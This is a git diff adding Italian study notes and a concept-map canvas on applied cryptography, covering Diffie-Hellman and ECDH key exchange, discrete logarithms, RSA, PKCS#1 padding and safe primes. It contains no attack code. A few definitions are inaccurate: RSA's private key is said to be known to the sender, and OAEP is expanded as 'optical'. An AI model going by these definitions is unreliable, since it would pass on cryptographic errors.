--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman.md	
@@ -0,0 +1 @@
+Tipo di [[congettura]] secondo cui un determinato problema è risolubile solo in tempo [[esponenziale]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/coppia di chiavi.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/coppia di chiavi.md
new file mode 100644
index 0000000..07e78db
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/coppia di chiavi.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["keypair"]
+---
+
+Due valori prodotti da uno [[scambio di chiave]].
+
+Il valore conosciuto è detto [[chiave pubblica]], mentre il valore sconosciuto è detto [[chiave privata]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/key generation algorithm.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/key generation algorithm.md
new file mode 100644
index 0000000..f400591
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/key generation algorithm.md	
@@ -0,0 +1 @@
+[[funzione ideale]] che produce una [[coppia di chiavi]] che soddisfa almeno una [[congettura Diffie-Hellman]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su curva ellittica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su curva ellittica.md
new file mode 100644
index 0000000..f20d18c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su curva ellittica.md	
@@ -0,0 +1,18 @@
+---
+aliases: ["crittografia su curva ellittica", "elliptic-curve cryptography"]
+---
+
+[[problema]] relativo alle [[gruppo additivo|somme]] tra punti di [[curva ellittica|curve ellittiche]]:
+$$
+\LARGE 
+{\color{orange} \mathbf{A}}
+=
+{\color{lime} a} \cdot \mathbf{G} \mod p
+$$
+Dati:
+- $\mathbf{G}$ (un [[generatore di un gruppo ciclico]] [[sicurezza dei generatori dei sottogruppi nelle curve ellittiche|sicuro]])
+- $p$ (un [[numero primo]])
+- $\color{orange} \mathbf{A}$ (la [[chiave pubblica]])
+
+Si vuole determinare:
+- $\color{lime} a$ (la [[chiave privata]])
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su gruppi ciclici primi sugli interi.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su gruppi ciclici primi sugli interi.md
new file mode 100644
index 0000000..ffce0f1
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su gruppi ciclici primi sugli interi.md	
@@ -0,0 +1,15 @@
+[[problema]] relativo alla seguente equazione relativa ai [[gruppi ciclici]]:
+$$
+\LARGE 
+{\color{orange} A}
+=
+g^{\color{lime} a} \mod p 
+$$
+
+Dati:
+- $g$ (un [[generatore di un gruppo ciclico]])
+- $p$ (un [[numero primo]])
+- $\color{orange} A$ (la [[chiave pubblica]])
+
+Si vuole determinare:
+- $\color{lime} a$ (la [[chiave privata]])
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/numero primo sicuro.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/numero primo sicuro.md
new file mode 100644
index 0000000..a2da14c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/numero primo sicuro.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["safe prime"]
+---
+[[Numero primo]] particolare, ottenuto da:
+$$
+\Large p = 2q + 1
+$$
+Dove $q$ è un altro [[numero primo]].
+
+Ha solo due [[sottogruppo|sottogruppi]]:
+- uno di [[ordine di un gruppo|ordine]] $2$ ottenuto da $-1$
+- uno di [[ordine di un gruppo|ordine]] $q$ [[attacco del sottogruppo debole|sicuro]]
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/one-way function.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/one-way function.md
new file mode 100644
index 0000000..cf7a587
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/one-way function.md	
@@ -0,0 +1 @@
+[[funzione]] in cui, conoscendo il [[risultato]], non è possibile risalire ai [[parametro|parametri]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman su curva ellittica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman su curva ellittica.md
new file mode 100644
index 0000000..4a8d303
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman su curva ellittica.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["ECDH", "Elliptical curve Diffie-Hellman key exchange"]
+---
+
+[[funzione]] di [[scambio di chiave basato su Diffie-Hellman|scambio di chiave]] che fa uso di [[coppia di chiavi|coppie di chiavi]] basate su [[logaritmo discreto su curva ellittica]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman.md
new file mode 100644
index 0000000..de66e9c
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["DH", "DHKEX", "Diffie-Hellman key exchange"]
+---
+
+[[funzione]] di [[scambio di chiave basato su Diffie-Hellman|scambio di chiave]] che fa uso di [[coppia di chiavi|coppie di chiavi]] basate su [[logaritmo discreto su gruppi ciclici primi sugli interi]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato basato su Diffie-Hellman.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato basato su Diffie-Hellman.md
new file mode 100644
index 0000000..27b89df
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato basato su Diffie-Hellman.md	
@@ -0,0 +1,17 @@
+[[funzione ideale]] di [[scambio di chiave autenticato]] che si appoggia sulla [[congettura Diffie-Hellman]].
+
+## Funzionamento
+
+1. 1️⃣ genera una coppia di chiavi.
+2. 1️⃣ cifra la sua chiave pubblica con la sua chiave privata.
+3. 1️⃣ invia la sua chiave pubblica a 2️⃣, sia in chiaro, sia cifrata.
+4. 2️⃣ genera una coppia di chiavi.
+5. 2️⃣ cifra la sua chiave pubblica con la sua chiave privata.
+6. 2️⃣ invia la sua chiave pubblica a 1️⃣, sia in chiaro, sia cifrata.
+7. 1️⃣ decifra la chiave ricevuta da 2️⃣, e vede se corrisponde con quella in chiaro.
+8. 2️⃣ decifra la chiave ricevuta da 1️⃣, e vede se corrisponde con quella in chiaro.
+
+## Svantaggi
+- La chiave pubblica viene completamente pubblicata.
+	- Si perde la [[negabilità]].
+	- Si perde l'[[anonimità]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato lato server.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato lato server.md
new file mode 100644
index 0000000..01b5c68
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato lato server.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["server-side authenticated key exchange"]
+---
+
+[[scambio di chiave autenticato]] in cui solo una delle due parti verifica l'[[autenticità]] delle chiavi.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato.md
new file mode 100644
index 0000000..fb9d523
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["authenticated key exchange"]
+---
+
+[[problema]] di [[scambio di chiave]] in cui viene aggiunto il [[vincolo]] di [[autenticità]] alle chiavi scambiate, ottenendo così protezione contro [[attacco|attacchi]] [[adaptive chosen-ciphertext attacker|attivi]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave basato su Diffie-Hellman.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave basato su Diffie-Hellman.md
new file mode 100644
index 0000000..2be2505
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave basato su Diffie-Hellman.md	
@@ -0,0 +1,17 @@
+[[funzione ideale]] di [[scambio di chiave]] che si appoggia sulla [[congettura Diffie-Hellman]].
+
+## Funzionamento
+
+1. 1️⃣ genera una coppia di chiavi.
+2. 1️⃣ invia la sua chiave pubblica a 2️⃣.
+3. 2️⃣ genera una coppia di chiavi.
+4. 2️⃣ invia la sua chiave pubblica a 1️⃣.
+5. 1️⃣ calcola la chiave simmetrica.
+6. 2️⃣ calcola la chiave simmetrica.
+
+## Svantaggi
+
+- Non protegge da attacchi attivi.
+- La chiave pubblica viene completamente pubblicata. 
+	- Si perde la [[negabilità]].
+	- Si perde l'[[anonimità]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave mutualmente autenticato.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave mutualmente autenticato.md
new file mode 100644
index 0000000..aaedaa7
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave mutualmente autenticato.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["mutually authenticated key exchange"]
+---
+
+[[scambio di chiave autenticato]] in cui entrambe le parti verificano l'[[autenticità]] delle chiavi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave.md
new file mode 100644
index 0000000..28374d0
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["key exchange", "KEX"]
+---
+
+[[problema]] in cui due [[sfidante|sfidanti]] vogliono ottenere le [[chiave pubblica|chiavi pubbliche]] reciproche, necessarie a scambiarsi messaggi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/★ mappa concettuale.canvas b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/★ mappa concettuale.canvas
new file mode 100644
index 0000000..ebfd4f6
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/★ mappa concettuale.canvas	
@@ -0,0 +1,73 @@
+{
+	"nodes":[
+		{"id":"820b250363dc27b8","x":-340,"y":-1180,"width":1560,"height":3400,"color":"6","type":"group","label":"Congettura DH"},
+		{"type":"group","id":"20b9978d32e3db4e","x":-2900,"y":100,"width":2440,"height":2120,"color":"6","label":"Scambio di chiave DH"},
+		{"type":"group","id":"91ce97ed8973ce71","x":-2900,"y":-820,"width":2440,"height":760,"color":"6","label":"Scambio di chiave DH autenticato"},
+		{"type":"group","id":"ebde94f64a7ab6b3","x":1340,"y":520,"width":1000,"height":440,"color":"1","label":"Attacco"},
+		{"type":"group","id":"d1a883de77c970c2","x":1340,"y":-740,"width":1000,"height":440,"color":"6","label":"Curve ellittiche NIST"},
+		{"type":"group","id":"a5eb805cb11f9691","x":1340,"y":-180,"width":1000,"height":440,"color":"6","label":"Curve ellittiche Bernstein"},
+		{"type":"group","id":"bd87c31344b6cb21","x":1900,"y":1100,"width":440,"height":440,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman.md","id":"ace819199e7c9ccc","x":240,"y":680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman classica.md","id":"a69891451fcae1d6","x":-320,"y":1240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman computazionale.md","id":"6b6ccdade0603d40","x":240,"y":1240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/congettura Diffie-Hellman decisionale.md","id":"3974780f4e9bec85","x":800,"y":1240,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/one-way function.md","id":"dce4e6ffde778064","x":-320,"y":1800,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/confidenzialità.md","id":"92a0de791ee88a9c","x":240,"y":1800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md","id":"ebf7093d10a08502","x":800,"y":1800,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave pubblica.md","id":"ec2eb9e8ce373871","x":-2880,"y":400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/chiave privata.md","id":"f61a825f113af3aa","x":-2880,"y":960,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/coppia di chiavi.md","id":"0ab94a8ce3915524","x":-2320,"y":680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave.md","id":"83d0a86ab63868fc","x":-1760,"y":680,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave basato su Diffie-Hellman.md","id":"372ccbe300376a0d","x":-1200,"y":520,"width":720,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman su curva ellittica.md","id":"03a1bf7d3a79bc2c","x":520,"y":120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su gruppi ciclici primi sugli interi.md","id":"bf17ca9bf9eb5904","x":-40,"y":-600,"width":400,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/logaritmo discreto su curva ellittica.md","id":"679dd0b3d378ac93","x":520,"y":-600,"width":400,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/1 - Teoria dei gruppi/gruppo ciclico di modulo primo.md","id":"edba98d630ea9b20","x":-40,"y":-1160,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/2 - Teoria delle curve ellittiche/gruppo ciclico su curva ellittica.md","id":"2f949c2086c16d7c","x":520,"y":-1160,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave Diffie-Hellman.md","id":"5e6df0ff8195be2c","x":-40,"y":120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato lato server.md","id":"5ad8c6c26b8298b1","x":-2320,"y":-800,"width":400,"height":280},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato basato su Diffie-Hellman.md","id":"f44fc4370dac4f9c","x":-1200,"y":-800,"width":720,"height":720},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave autenticato.md","id":"6b8218f7423c62e8","x":-1760,"y":-640,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/scambio di chiave mutualmente autenticato.md","id":"58f3b55a857e7be5","x":-2320,"y":-360,"width":400,"height":280},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/numero primo sicuro.md","id":"b3d6933a5d55fbda","x":1920,"y":1120,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del punto non valido.md","id":"3f2e31d33216e68b","x":1360,"y":540,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/attacco del sottogruppo debole.md","id":"55632b8f4ebaac70","x":1920,"y":540,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-256.md","id":"c1bcdf035935bc4d","x":1360,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve25519.md","id":"713a2f2cba40ae3a","x":1360,"y":-160,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/P-521.md","id":"afd28d9368cd2106","x":1920,"y":-720,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/3 - Comunicazione asimmetrica/3 - Scambio di chiave/Curve448.md","id":"ee5df3f00e0c9adc","x":1920,"y":-160,"width":400,"height":400}
+	],
+	"edges":[
+		{"id":"9426cc764f687002","fromNode":"edba98d630ea9b20","fromSide":"bottom","toNode":"bf17ca9bf9eb5904","toSide":"top","toEnd":"none"},
+		{"id":"c28575ca0a6174cd","fromNode":"2f949c2086c16d7c","fromSide":"bottom","toNode":"679dd0b3d378ac93","toSide":"top","toEnd":"none"},
+		{"id":"93609618082975f4","fromNode":"ace819199e7c9ccc","fromSide":"bottom","toNode":"6b6ccdade0603d40","toSide":"top","toEnd":"none"},
+		{"id":"71cecf26d8c33843","fromNode":"ace819199e7c9ccc","fromSide":"bottom","toNode":"a69891451fcae1d6","toSide":"top","toEnd":"none"},
+		{"id":"05c3dcedec3015c1","fromNode":"ace819199e7c9ccc","fromSide":"bottom","toNode":"3974780f4e9bec85","toSide":"top","toEnd":"none"},
+		{"id":"4318e9638e4d4613","fromNode":"a69891451fcae1d6","fromSide":"bottom","toNode":"dce4e6ffde778064","toSide":"top","toEnd":"none"},
+		{"id":"aef8eafd1dd49d4e","fromNode":"6b6ccdade0603d40","fromSide":"bottom","toNode":"92a0de791ee88a9c","toSide":"top","toEnd":"none"},
+		{"id":"b66b67ea40bafa1d","fromNode":"3974780f4e9bec85","fromSide":"bottom","toNode":"ebf7093d10a08502","toSide":"top","toEnd":"none"},
+		{"id":"6b1abf63d0218f45","fromNode":"92a0de791ee88a9c","fromSide":"left","toNode":"dce4e6ffde778064","toSide":"right"},
+		{"id":"61f4e630617eaa5f","fromNode":"ebf7093d10a08502","fromSide":"left","toNode":"92a0de791ee88a9c","toSide":"right"},
+		{"id":"587b8f867cfa6eb6","fromNode":"3f2e31d33216e68b","fromSide":"right","toNode":"55632b8f4ebaac70","toSide":"left","toEnd":"none"},
+		{"id":"5f6d20c3f789675d","fromNode":"55632b8f4ebaac70","fromSide":"bottom","toNode":"b3d6933a5d55fbda","toSide":"top","toEnd":"none"},
+		{"id":"12892b393b8421dd","fromNode":"0ab94a8ce3915524","fromSide":"left","toNode":"f61a825f113af3aa","toSide":"right","toEnd":"none"},
+		{"id":"90355ed87f6741b9","fromNode":"0ab94a8ce3915524","fromSide":"left","toNode":"ec2eb9e8ce373871","toSide":"right","toEnd":"none"},
+		{"id":"b2b6dbaa21cbb5e0","fromNode":"372ccbe300376a0d","fromSide":"right","toNode":"ace819199e7c9ccc","toSide":"left","toEnd":"none"},
+		{"id":"b47d139506e81405","fromNode":"83d0a86ab63868fc","fromSide":"right","toNode":"372ccbe300376a0d","toSide":"left","toEnd":"none"},
+		{"id":"ba24cbf7dae73212","fromNode":"83d0a86ab63868fc","fromSide":"left","toNode":"0ab94a8ce3915524","toSide":"right","toEnd":"none"},
+		{"id":"9beaf862d6855bf4","fromNode":"5e6df0ff8195be2c","fromSide":"top","toNode":"bf17ca9bf9eb5904","toSide":"bottom","toEnd":"none"},
+		{"id":"68e03846cd04847f","fromNode":"03a1bf7d3a79bc2c","fromSide":"top","toNode":"679dd0b3d378ac93","toSide":"bottom","toEnd":"none"},
+		{"id":"fe725dffd14c8091","fromNode":"ace819199e7c9ccc","fromSide":"top","toNode":"5e6df0ff8195be2c","toSide":"bottom","toEnd":"none"},
+		{"id":"4abd1c8100557f27","fromNode":"ace819199e7c9ccc","fromSide":"top","toNode":"03a1bf7d3a79bc2c","toSide":"bottom","toEnd":"none"},
+		{"id":"40e0fc5c36397441","fromNode":"03a1bf7d3a79bc2c","fromSide":"right","toNode":"3f2e31d33216e68b","toSide":"top","toEnd":"none"},
+		{"id":"a9a71cfeb0878e69","fromNode":"03a1bf7d3a79bc2c","fromSide":"right","toNode":"55632b8f4ebaac70","toSide":"top","toEnd":"none"},
+		{"id":"e68c65f921c26d3e","fromNode":"6b8218f7423c62e8","fromSide":"left","toNode":"5ad8c6c26b8298b1","toSide":"right","toEnd":"none"},
+		{"id":"000f6286253fc2b3","fromNode":"6b8218f7423c62e8","fromSide":"right","toNode":"f44fc4370dac4f9c","toSide":"left","toEnd":"none"},
+		{"id":"c33afbc59e663b30","fromNode":"6b8218f7423c62e8","fromSide":"left","toNode":"58f3b55a857e7be5","toSide":"right","toEnd":"none"},
+		{"id":"95f4e128faaa0102","fromNode":"83d0a86ab63868fc","fromSide":"top","toNode":"6b8218f7423c62e8","toSide":"bottom"},
+		{"id":"b7f56adcfc45d99d","fromNode":"03a1bf7d3a79bc2c","fromSide":"right","toNode":"713a2f2cba40ae3a","toSide":"left","color":"4"},
+		{"id":"1621298edd0d3060","fromNode":"03a1bf7d3a79bc2c","fromSide":"right","toNode":"c1bcdf035935bc4d","toSide":"left"},
+		{"id":"17bc12c8847b3553","fromNode":"c1bcdf035935bc4d","fromSide":"right","toNode":"afd28d9368cd2106","toSide":"left"},
+		{"id":"e11672b031117e01","fromNode":"713a2f2cba40ae3a","fromSide":"right","toNode":"ee5df3f00e0c9adc","toSide":"left"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md
new file mode 100644
index 0000000..fb64961
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v15.md	
@@ -0,0 +1,20 @@
+---
+aliases: ["PKCS#1 v1.5"]
+---
+
+# PKCS#1 v1.5
+
+[[funzione]] di [[crittografia asimmetrica]] basata su [[textbook RSA]] che ne aumenta la sicurezza aggiungendo un [[padding]] di dimensioni non deterministiche al messaggio.
+
+## Funzionamento
+
+1. Prima di cifrare il messaggio, vi aggiunge un [[blob]] che:
+	1. inizia con un byte `0x00`;
+	2. continua con un byte `0x02` 
+		1. `0x00` o `0x01` per applicazioni diverse dalla crittografia asimmetrica
+	3. continua con un numero casuale di bytes casuali
+	4. termina con un byte `0x00`
+
+## Vulnerabilità
+
+- È [[malleabilità|malleabile]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v20.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v20.md
new file mode 100644
index 0000000..93459e6
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/PKCS1 v20.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["PKCS#1 v2.0", "RSA-OAEP", "RSA with optical asymmetric encryption padding"]
+---
+
+# PKCS#1 v2.0
+
+[[funzione]] di [[crittografia asimmetrica]] basata su [[PKCS1 v15]] che ne migliora l'algoritmo di padding mescolando il padding con un numero casuale e una [[mask generation function]].
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/RSA.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/RSA.md
new file mode 100644
index 0000000..b650fee
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/RSA.md	
@@ -0,0 +1,5 @@
+[[funzione]] di [[crittografia asimmetrica]]
+
+Fa uso di una [[coppia di esponenti]], formata da:
+- un [[esponente pubblico]] e il relativo [[modulo pubblico]], conosciuti da tutti
+- un [[esponente privato]] e i relativi [[fattori privati]], conosciuti solo dal [[mittente]]
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/congettura della fattorizzazione.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/congettura della fattorizzazione.md
new file mode 100644
index 0000000..b9b9c09
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/congettura della fattorizzazione.md	
@@ -0,0 +1,15 @@
+---
+aliases: ["problema della fattorizzazione", "factorization problem"]
+---
+
+[[Congettura]].
+
+Conoscendo:
+$$
+\LARGE {\color{orange} N} = p \times q
+$$
+
+È [[esponenziale]] trovare:
+$$
+\LARGE \color{lime} p \qquad q
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia asimmetrica.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia asimmetrica.md
new file mode 100644
index 0000000..82260cf
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia asimmetrica.md	
@@ -0,0 +1 @@
+[[problema]] in cui si vogliono mantenere [[confidenzialità|confidenziali]] e [[indistinguibilità|indistinguibili]] uno o più [[testo|testi]], senza però la necessità di conoscere una chiave predeterminata e condivisa tra gli interlocutori.
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia ibrida.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia ibrida.md
new file mode 100644
index 0000000..ccb6d56
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/crittografia ibrida.md	
@@ -0,0 +1 @@
+Estensione del [[problema]] di [[crittografia asimmetrica]] in cui si richiede anche di poter cifrare [[grandi quantità di dati]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/elliptic curve integrated encryption scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/elliptic curve integrated encryption scheme.md
new file mode 100644
index 0000000..82b8db0
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/elliptic curve integrated encryption scheme.md	
@@ -0,0 +1,4 @@
+---
+aliases: ["ECIES"]
+---
+[[integrated encryption scheme]] che sfrutta lo [[scambio di chiave Diffie-Hellman su curva ellittica]] invece che quello basato sui gruppi ciclici.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/funzione toziente.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/funzione toziente.md
new file mode 100644
index 0000000..b2bd2fc
--- /dev/null
+++ b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/funzione toziente.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["Euler's totient", "toziente di Eulero", "totient function"]
+---
+
+Funzione che permette di determinare l'[[ordine di un gruppo|ordine]] del gruppo del [[problema RSA]], ma che richiede di conoscere la [[congettura della fattorizzazione|fattorizzazione]] di $\color{orange} N$ per poter essere calcolata efficientemente.
+
+$$
+\LARGE \varphi({\color{orange} N}) = ({\color{lime} p} - 1) \times ({\color{lime} q} - 1)
+$$
diff --git a/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/integrated encryption scheme.md b/8 - Crittografia applicata/3 - Comunicazione asimmetrica/4 - Crittografia asimmetrica/integrated encryption scheme.md
new file mode 100644
index 0000000..70aff7f
--- /dev/null
